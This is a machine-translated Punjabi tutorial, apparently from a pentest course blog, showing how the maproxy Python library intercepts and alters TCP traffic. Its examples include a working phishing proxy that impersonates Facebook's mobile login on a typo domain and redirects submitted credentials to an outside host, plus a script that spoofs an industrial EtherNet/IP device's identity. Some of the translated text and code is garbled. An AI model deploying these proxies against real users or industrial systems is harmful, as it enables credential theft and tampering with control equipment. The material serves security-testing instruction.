ਫਲਾਈ 'ਤੇ ਨੈੱਟਵਰਕ ਡੇਟਾ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰੋ

ਲੇਖ ਦਾ ਅਨੁਵਾਦ ਕੋਰਸ ਦੀ ਸ਼ੁਰੂਆਤ ਦੀ ਪੂਰਵ ਸੰਧਿਆ 'ਤੇ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਸੀ "ਪੇਂਟੈਸਟ. ਪ੍ਰਵੇਸ਼ ਟੈਸਟਿੰਗ ਅਭਿਆਸ".

ਐਬਸਟਰੈਕਟ

ਸੁਰੱਖਿਆ ਮੁਲਾਂਕਣਾਂ ਦੀਆਂ ਕਈ ਕਿਸਮਾਂ, ਨਿਯਮਤ ਪ੍ਰਵੇਸ਼ ਟੈਸਟਿੰਗ ਅਤੇ ਰੈੱਡ ਟੀਮ ਓਪਰੇਸ਼ਨਾਂ ਤੋਂ ਲੈ ਕੇ ਹੈਕਿੰਗ IoT/ICS ਡਿਵਾਈਸਾਂ ਅਤੇ SCADA ਤੱਕ, ਵਿੱਚ ਬਾਈਨਰੀ ਨੈਟਵਰਕ ਪ੍ਰੋਟੋਕੋਲ ਨਾਲ ਕੰਮ ਕਰਨਾ ਸ਼ਾਮਲ ਹੈ, ਯਾਨੀ ਕਿ ਕਲਾਇੰਟ ਅਤੇ ਟੀਚੇ ਦੇ ਵਿਚਕਾਰ ਨੈਟਵਰਕ ਡੇਟਾ ਨੂੰ ਲਾਜ਼ਮੀ ਤੌਰ 'ਤੇ ਰੋਕਨਾ ਅਤੇ ਸੋਧਣਾ ਸ਼ਾਮਲ ਹੈ। ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਨੂੰ ਸੁੰਘਣਾ ਕੋਈ ਔਖਾ ਕੰਮ ਨਹੀਂ ਹੈ ਕਿਉਂਕਿ ਸਾਡੇ ਕੋਲ Wireshark, Tcpdump ਜਾਂ Scapy ਵਰਗੇ ਟੂਲ ਹਨ, ਪਰ ਸੋਧ ਇੱਕ ਜ਼ਿਆਦਾ ਮਿਹਨਤ ਵਾਲਾ ਕੰਮ ਜਾਪਦਾ ਹੈ ਕਿਉਂਕਿ ਸਾਡੇ ਕੋਲ ਨੈੱਟਵਰਕ ਡੇਟਾ ਨੂੰ ਪੜ੍ਹਨ, ਇਸਨੂੰ ਫਿਲਟਰ ਕਰਨ, ਬਦਲਣ ਲਈ ਕਿਸੇ ਕਿਸਮ ਦੇ ਇੰਟਰਫੇਸ ਦੀ ਲੋੜ ਪਵੇਗੀ। ਇਸ ਨੂੰ ਉੱਡਦੇ ਹੋਏ ਅਤੇ ਲਗਭਗ ਅਸਲ ਸਮੇਂ ਵਿੱਚ ਟੀਚੇ ਦੇ ਮੇਜ਼ਬਾਨ ਨੂੰ ਵਾਪਸ ਭੇਜੋ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਇਹ ਆਦਰਸ਼ ਹੋਵੇਗਾ ਜੇਕਰ ਅਜਿਹਾ ਟੂਲ ਸਵੈਚਲਿਤ ਤੌਰ 'ਤੇ ਕਈ ਸਮਾਨਾਂਤਰ ਕਨੈਕਸ਼ਨਾਂ ਨਾਲ ਕੰਮ ਕਰ ਸਕਦਾ ਹੈ ਅਤੇ ਸਕ੍ਰਿਪਟਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਅਨੁਕੂਲਿਤ ਹੋ ਸਕਦਾ ਹੈ।

ਇੱਕ ਦਿਨ ਮੈਨੂੰ ਇੱਕ ਸੰਦ ਨਾਮ ਦੀ ਖੋਜ ਕੀਤੀ maproxy, ਦਸਤਾਵੇਜ਼ਾਂ ਨੇ ਜਲਦੀ ਹੀ ਮੈਨੂੰ ਇਹ ਸਪੱਸ਼ਟ ਕਰ ਦਿੱਤਾ ਕਿ maproxy - ਬੱਸ ਮੈਨੂੰ ਕੀ ਚਾਹੀਦਾ ਹੈ। ਇਹ ਕਾਫ਼ੀ ਸਧਾਰਨ, ਬਹੁਮੁਖੀ ਅਤੇ ਆਸਾਨੀ ਨਾਲ ਕੌਂਫਿਗਰ ਕਰਨ ਯੋਗ TCP ਪ੍ਰੌਕਸੀ ਹੈ। ਮੈਂ ਇਹ ਦੇਖਣ ਲਈ ਕਿ ਕੀ ਇਹ ਬਹੁਤ ਸਾਰੇ ਸਮਾਨਾਂਤਰ ਕਨੈਕਸ਼ਨਾਂ ਨੂੰ ਸੰਭਾਲ ਸਕਦਾ ਹੈ, ਅਤੇ ਟੂਲ ਨੇ ਵਧੀਆ ਪ੍ਰਦਰਸ਼ਨ ਕੀਤਾ ਹੈ, ਇਹ ਦੇਖਣ ਲਈ ਕਿ ਕੀ ਇਹ ਦੇਖਣ ਲਈ ICS ਡਿਵਾਈਸਾਂ (ਜੋ ਬਹੁਤ ਸਾਰੇ ਪੈਕੇਟ ਤਿਆਰ ਕਰਦੇ ਹਨ) ਸਮੇਤ ਕਈ ਕਾਫ਼ੀ ਗੁੰਝਲਦਾਰ ਐਪਲੀਕੇਸ਼ਨਾਂ 'ਤੇ ਇਸ ਟੂਲ ਦੀ ਜਾਂਚ ਕੀਤੀ ਹੈ।

ਇਹ ਲੇਖ ਤੁਹਾਨੂੰ ਫਲਾਈ 'ਤੇ ਨੈਟਵਰਕ ਡੇਟਾ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਨ ਲਈ ਪੇਸ਼ ਕਰੇਗਾ maproxy.

ਸੰਖੇਪ

ਟੂਲ maproxy ਟੋਰਨਾਡੋ 'ਤੇ ਅਧਾਰਤ ਹੈ, ਪਾਈਥਨ ਵਿੱਚ ਇੱਕ ਪ੍ਰਸਿੱਧ ਅਤੇ ਪਰਿਪੱਕ ਅਸਿੰਕ੍ਰੋਨਸ ਨੈਟਵਰਕਿੰਗ ਫਰੇਮਵਰਕ।

ਆਮ ਤੌਰ 'ਤੇ, ਇਹ ਕਈ ਮੋਡਾਂ ਵਿੱਚ ਕੰਮ ਕਰ ਸਕਦਾ ਹੈ:

• TCP:TCP - ਅਣਇੰਕ੍ਰਿਪਟਡ TCP ਕਨੈਕਸ਼ਨ;
• TCP:SSL и SSL:TCP - ਇੱਕ ਤਰਫਾ ਏਨਕ੍ਰਿਪਸ਼ਨ ਦੇ ਨਾਲ;
• SSL:SSL - ਦੋ-ਪੱਖੀ ਏਨਕ੍ਰਿਪਸ਼ਨ।

ਇਹ ਇੱਕ ਲਾਇਬ੍ਰੇਰੀ ਦੇ ਰੂਪ ਵਿੱਚ ਆਉਂਦਾ ਹੈ। ਇੱਕ ਤੇਜ਼ ਸ਼ੁਰੂਆਤ ਲਈ, ਤੁਸੀਂ ਉਦਾਹਰਨ ਫਾਈਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦੇ ਹੋ ਜੋ ਮੁੱਖ ਨੂੰ ਦਰਸਾਉਂਦੀਆਂ ਹਨ ਲਾਇਬ੍ਰੇਰੀ ਫੰਕਸ਼ਨ:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

ਕੇਸ 1 - ਸਧਾਰਨ ਦੋ-ਦਿਸ਼ਾਵੀ ਪ੍ਰੌਕਸੀ

ਦੇ ਅਧਾਰ ਤੇ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ਮੂਲ ਰੂਪ ਵਿੱਚ ProxyServer() ਦੋ ਆਰਗੂਮੈਂਟਾਂ ਲੈਂਦਾ ਹੈ - ਕੁਨੈਕਸ਼ਨ ਟਿਕਾਣਾ ਅਤੇ ਨਿਸ਼ਾਨਾ ਪੋਰਟ। server.listen() ਇੱਕ ਆਰਗੂਮੈਂਟ ਲੈਂਦਾ ਹੈ - ਆਉਣ ਵਾਲੇ ਕੁਨੈਕਸ਼ਨ ਨੂੰ ਸੁਣਨ ਲਈ ਪੋਰਟ।

ਸਕ੍ਰਿਪਟ ਨੂੰ ਚਲਾਉਣਾ:

# python tcp2tcp.py

ਟੈਸਟ ਨੂੰ ਚਲਾਉਣ ਲਈ, ਅਸੀਂ ਆਪਣੀ ਪ੍ਰੌਕਸੀ ਸਕ੍ਰਿਪਟ ਦੁਆਰਾ ਇੱਕ ਸਥਾਨਕ SSH ਸਰਵਰ ਨਾਲ ਜੁੜਨ ਜਾ ਰਹੇ ਹਾਂ, ਜੋ ਇਸ 'ਤੇ ਸੁਣਦਾ ਹੈ 2222/tcp ਪੋਰਟ ਅਤੇ ਇੱਕ ਮਿਆਰੀ ਪੋਰਟ ਨਾਲ ਜੁੜਦਾ ਹੈ 22/tcp SSH ਸਰਵਰ:

ਸੁਆਗਤ ਬੈਨਰ ਤੁਹਾਨੂੰ ਸੂਚਿਤ ਕਰਦਾ ਹੈ ਕਿ ਸਾਡੀ ਉਦਾਹਰਨ ਸਕ੍ਰਿਪਟ ਨੇ ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਨੂੰ ਸਫਲਤਾਪੂਰਵਕ ਪ੍ਰੌਕਸੀ ਕੀਤਾ ਹੈ।

ਕੇਸ 2 - ਡਾਟਾ ਸੋਧ

ਇੱਕ ਹੋਰ ਡੈਮੋ ਸਕ੍ਰਿਪਟ logging_proxy.py ਨੈੱਟਵਰਕ ਡਾਟਾ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਨ ਲਈ ਆਦਰਸ਼. ਫਾਈਲ ਵਿੱਚ ਟਿੱਪਣੀਆਂ ਉਹਨਾਂ ਕਲਾਸ ਤਰੀਕਿਆਂ ਦਾ ਵਰਣਨ ਕਰਦੀਆਂ ਹਨ ਜਿਹਨਾਂ ਨੂੰ ਤੁਸੀਂ ਆਪਣੇ ਟੀਚੇ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਸੋਧ ਸਕਦੇ ਹੋ:

ਸਭ ਤੋਂ ਦਿਲਚਸਪ ਗੱਲ ਇੱਥੇ ਹੈ:

• on_c2p_done_read - ਕਲਾਇੰਟ ਤੋਂ ਸਰਵਰ ਤੱਕ ਦੇ ਰਸਤੇ ਵਿੱਚ ਡੇਟਾ ਨੂੰ ਰੋਕਣ ਲਈ;
• on_p2s_done_read - ਉਲਟਾ.

ਆਓ SSH ਬੈਨਰ ਨੂੰ ਬਦਲਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੀਏ ਜੋ ਸਰਵਰ ਕਲਾਇੰਟ ਨੂੰ ਵਾਪਸ ਕਰਦਾ ਹੈ:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ਸਕ੍ਰਿਪਟ ਚਲਾਓ:

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਵੇਖ ਸਕਦੇ ਹੋ, ਕਲਾਇੰਟ ਨੂੰ ਗੁੰਮਰਾਹ ਕੀਤਾ ਗਿਆ ਸੀ ਕਿਉਂਕਿ ਉਸਦੇ ਲਈ SSH ਸਰਵਰ ਦਾ ਨਾਮ ਬਦਲਿਆ ਗਿਆ ਸੀ «DumnySSH».

ਕੇਸ 3 - ਸਧਾਰਨ ਫਿਸ਼ਿੰਗ ਵੈੱਬ ਪੰਨਾ

ਇਸ ਸਾਧਨ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੇ ਬੇਅੰਤ ਤਰੀਕੇ ਹਨ. ਇਸ ਵਾਰ ਆਉ ਰੈੱਡ ਟੀਮ ਓਪਰੇਸ਼ਨ ਵਾਲੇ ਪਾਸੇ ਤੋਂ ਕੁਝ ਹੋਰ ਵਿਹਾਰਕ 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਕਰੀਏ। ਆਓ ਲੈਂਡਿੰਗ ਪੰਨੇ ਦੀ ਨਕਲ ਕਰੀਏ m.facebook.com ਅਤੇ ਜਾਣਬੁੱਝ ਕੇ ਟਾਈਪੋ ਦੇ ਨਾਲ ਇੱਕ ਕਸਟਮ ਡੋਮੇਨ ਦੀ ਵਰਤੋਂ ਕਰੋ, ਉਦਾਹਰਨ ਲਈ, m.facebok.com. ਪ੍ਰਦਰਸ਼ਨ ਦੇ ਉਦੇਸ਼ਾਂ ਲਈ, ਆਓ ਇਹ ਮੰਨ ਲਈਏ ਕਿ ਡੋਮੇਨ ਸਾਡੇ ਦੁਆਰਾ ਰਜਿਸਟਰ ਕੀਤਾ ਗਿਆ ਹੈ।

ਅਸੀਂ ਆਪਣੇ ਪੀੜਤਾਂ ਦੀ ਪ੍ਰੌਕਸੀ ਅਤੇ ਫੇਸਬੁੱਕ ਸਰਵਰ (31.13.81.36). ਇਸ ਉਦਾਹਰਨ ਨੂੰ ਕੰਮ ਕਰਨ ਲਈ, ਸਾਨੂੰ HTTP ਹੋਸਟ ਸਿਰਲੇਖ ਨੂੰ ਬਦਲਣ ਅਤੇ ਸਹੀ ਹੋਸਟਨਾਮ ਨੂੰ ਇੰਜੈਕਟ ਕਰਨ ਦੀ ਲੋੜ ਹੈ, ਅਤੇ ਅਸੀਂ ਜਵਾਬ ਸੰਕੁਚਨ ਨੂੰ ਵੀ ਅਸਮਰੱਥ ਬਣਾਵਾਂਗੇ ਤਾਂ ਜੋ ਅਸੀਂ ਸਮੱਗਰੀ ਨੂੰ ਆਸਾਨੀ ਨਾਲ ਐਕਸੈਸ ਕਰ ਸਕੀਏ। ਅੰਤ ਵਿੱਚ ਅਸੀਂ HTML ਫਾਰਮ ਨੂੰ ਬਦਲ ਦੇਵਾਂਗੇ ਤਾਂ ਜੋ ਲੌਗਇਨ ਪ੍ਰਮਾਣ ਪੱਤਰ Facebook ਦੇ ਸਰਵਰਾਂ ਦੀ ਬਜਾਏ ਸਾਨੂੰ ਭੇਜੇ ਜਾਣ:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/pa/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

ਸੰਖੇਪ ਵਿੱਚ:

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਦੇਖ ਸਕਦੇ ਹੋ, ਅਸੀਂ ਸਫਲਤਾਪੂਰਵਕ ਅਸਲੀ ਸਾਈਟ ਨੂੰ ਬਦਲਣ ਦੇ ਯੋਗ ਸੀ।

ਕੇਸ 4 - ਪੋਰਟਿੰਗ ਈਥਰਨੈੱਟ/IP

ਮੈਂ ਕਾਫ਼ੀ ਸਮੇਂ ਤੋਂ ਉਦਯੋਗਿਕ ਉਪਕਰਨਾਂ ਅਤੇ ਸੌਫਟਵੇਅਰ (ICS/SCADA) ਨਾਲ ਕੰਮ ਕਰ ਰਿਹਾ ਹਾਂ, ਜਿਵੇਂ ਕਿ ਪ੍ਰੋਗਰਾਮੇਬਲ ਕੰਟਰੋਲਰ (PLC), I/O ਮੋਡੀਊਲ, ਡਰਾਈਵ, ਰੀਲੇਅ, ਪੌੜੀ ਪ੍ਰੋਗਰਾਮਿੰਗ ਵਾਤਾਵਰਣ ਅਤੇ ਹੋਰ ਬਹੁਤ ਸਾਰੇ। ਇਹ ਕੇਸ ਉਨ੍ਹਾਂ ਲਈ ਹੈ ਜੋ ਉਦਯੋਗਿਕ ਚੀਜ਼ਾਂ ਨੂੰ ਪਸੰਦ ਕਰਦੇ ਹਨ. ਅਜਿਹੇ ਹੱਲਾਂ ਨੂੰ ਹੈਕ ਕਰਨ ਵਿੱਚ ਨੈੱਟਵਰਕ ਪ੍ਰੋਟੋਕੋਲ ਨਾਲ ਸਰਗਰਮੀ ਨਾਲ ਖੇਡਣਾ ਸ਼ਾਮਲ ਹੁੰਦਾ ਹੈ। ਹੇਠਾਂ ਦਿੱਤੀ ਉਦਾਹਰਨ ਵਿੱਚ, ਮੈਂ ਇਹ ਦਿਖਾਉਣਾ ਚਾਹਾਂਗਾ ਕਿ ਤੁਸੀਂ ICS/SCADA ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਨੂੰ ਕਿਵੇਂ ਸੋਧ ਸਕਦੇ ਹੋ।

ਇਸਦੇ ਲਈ ਤੁਹਾਨੂੰ ਹੇਠ ਲਿਖਿਆਂ ਦੀ ਲੋੜ ਹੋਵੇਗੀ:

• ਨੈੱਟਵਰਕ ਸੁੰਘਣ ਵਾਲਾ, ਉਦਾਹਰਨ ਲਈ, ਵਾਇਰਸ਼ਾਰਕ;
• ਈਥਰਨੈੱਟ/ਆਈਪੀ ਜਾਂ ਸਿਰਫ਼ ਇੱਕ SIP ਡਿਵਾਈਸ, ਤੁਸੀਂ ਇਸਨੂੰ ਸ਼ੋਡਨ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲੱਭ ਸਕਦੇ ਹੋ;
• ਸਾਡੀ ਸਕ੍ਰਿਪਟ 'ਤੇ ਆਧਾਰਿਤ ਹੈ maproxy.

ਪਹਿਲਾਂ, ਆਓ ਦੇਖੀਏ ਕਿ ਸੀਆਈਪੀ (ਕਾਮਨ ਇੰਡਸਟਰੀਅਲ ਪ੍ਰੋਟੋਕੋਲ) ਤੋਂ ਇੱਕ ਆਮ ਪਛਾਣ ਜਵਾਬ ਕਿਹੋ ਜਿਹਾ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ:

ਡਿਵਾਈਸ ਦੀ ਪਛਾਣ ਈਥਰਨੈੱਟ/ਆਈਪੀ ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪੂਰੀ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਜੋ ਕਿ ਉਦਯੋਗਿਕ ਈਥਰਨੈੱਟ ਪ੍ਰੋਟੋਕੋਲ ਦਾ ਇੱਕ ਵਿਸਤ੍ਰਿਤ ਸੰਸਕਰਣ ਹੈ ਜੋ ਸੀਆਈਪੀ ਵਰਗੇ ਨਿਯੰਤਰਣ ਪ੍ਰੋਟੋਕੋਲ ਨੂੰ ਲਪੇਟਦਾ ਹੈ। ਅਸੀਂ ਹਾਈਲਾਈਟ ਕੀਤੇ ਆਈਡੀ ਨਾਮ ਨੂੰ ਬਦਲਣ ਜਾ ਰਹੇ ਹਾਂ ਜੋ ਸਕ੍ਰੀਨਸ਼ੌਟ ਵਿੱਚ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ "ਈਥਰਨੈੱਟ ਲਈ NI-IndComm" ਸਾਡੀ ਪ੍ਰੌਕਸੀ ਸਕ੍ਰਿਪਟ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ। ਅਸੀਂ ਸਕ੍ਰਿਪਟ ਦੀ ਮੁੜ ਵਰਤੋਂ ਕਰ ਸਕਦੇ ਹਾਂ logging_proxy.py ਅਤੇ ਇਸੇ ਤਰ੍ਹਾਂ ਕਲਾਸ ਵਿਧੀ ਨੂੰ ਸੋਧੋ on_p2s_done_read, ਕਿਉਂਕਿ ਅਸੀਂ ਚਾਹੁੰਦੇ ਹਾਂ ਕਿ ਕਲਾਇੰਟ 'ਤੇ ਇੱਕ ਵੱਖਰਾ ਪਛਾਣ ਨਾਮ ਦਿਖਾਈ ਦੇਵੇ।

ਕੋਡ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

ਜ਼ਰੂਰੀ ਤੌਰ 'ਤੇ, ਅਸੀਂ ਦੋ ਵਾਰ ਡਿਵਾਈਸ ਦੀ ਪਛਾਣ ਲਈ ਕਿਹਾ, ਦੂਜਾ ਜਵਾਬ ਅਸਲੀ ਸੀ, ਅਤੇ ਪਹਿਲੀ ਨੂੰ ਫਲਾਈ 'ਤੇ ਸੋਧਿਆ ਗਿਆ ਸੀ।

ਅਤੇ ਆਖਰੀ

ਮੇਰੇ ਵਿਚਾਰ ਅਨੁਸਾਰ maproxy ਇੱਕ ਸੁਵਿਧਾਜਨਕ ਅਤੇ ਸਧਾਰਨ ਟੂਲ, ਜੋ ਕਿ ਪਾਈਥਨ ਵਿੱਚ ਵੀ ਲਿਖਿਆ ਗਿਆ ਹੈ, ਇਸ ਲਈ ਮੇਰਾ ਮੰਨਣਾ ਹੈ ਕਿ ਤੁਸੀਂ ਵੀ ਇਸਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲਾਭ ਉਠਾ ਸਕਦੇ ਹੋ। ਬੇਸ਼ੱਕ, ਨੈੱਟਵਰਕ ਡੇਟਾ ਨੂੰ ਪ੍ਰੋਸੈਸ ਕਰਨ ਅਤੇ ਸੰਸ਼ੋਧਿਤ ਕਰਨ ਲਈ ਵਧੇਰੇ ਗੁੰਝਲਦਾਰ ਟੂਲ ਹਨ, ਪਰ ਉਹਨਾਂ ਨੂੰ ਵੀ ਵਧੇਰੇ ਧਿਆਨ ਦੇਣ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ ਅਤੇ ਆਮ ਤੌਰ 'ਤੇ ਕਿਸੇ ਖਾਸ ਵਰਤੋਂ ਦੇ ਕੇਸ ਲਈ ਬਣਾਏ ਜਾਂਦੇ ਹਨ, ਉਦਾਹਰਨ ਲਈ. ਮੁਰੈਨਾ, ਮੋਡਲਿਸ਼ਕਾ ਜ evilginx ਤੀਜੇ ਦੇ ਸਮਾਨ ਮਾਮਲਿਆਂ ਲਈ, ਜਾਂ ਸੋਫਾ ਪਿਛਲੇ ਕੇਸ ਲਈ. ਇੱਕ ਤਰੀਕੇ ਨਾਲ ਜਾਂ ਕੋਈ ਹੋਰ, ਮਦਦ ਨਾਲ maproxy ਤੁਸੀਂ ਨੈੱਟਵਰਕ ਡੇਟਾ ਨੂੰ ਰੋਕਣ ਲਈ ਆਪਣੇ ਵਿਚਾਰਾਂ ਨੂੰ ਤੇਜ਼ੀ ਨਾਲ ਲਾਗੂ ਕਰ ਸਕਦੇ ਹੋ, ਕਿਉਂਕਿ ਉਦਾਹਰਨ ਸਕ੍ਰਿਪਟਾਂ ਬਹੁਤ ਸਪੱਸ਼ਟ ਹਨ।

ਵਿੰਡੋਜ਼ AD ਵਿੱਚ ਪ੍ਰਮਾਣਿਕਤਾ ਵਿਧੀਆਂ ਦੀ ਜਾਂਚ

ਸਰੋਤ: www.habr.com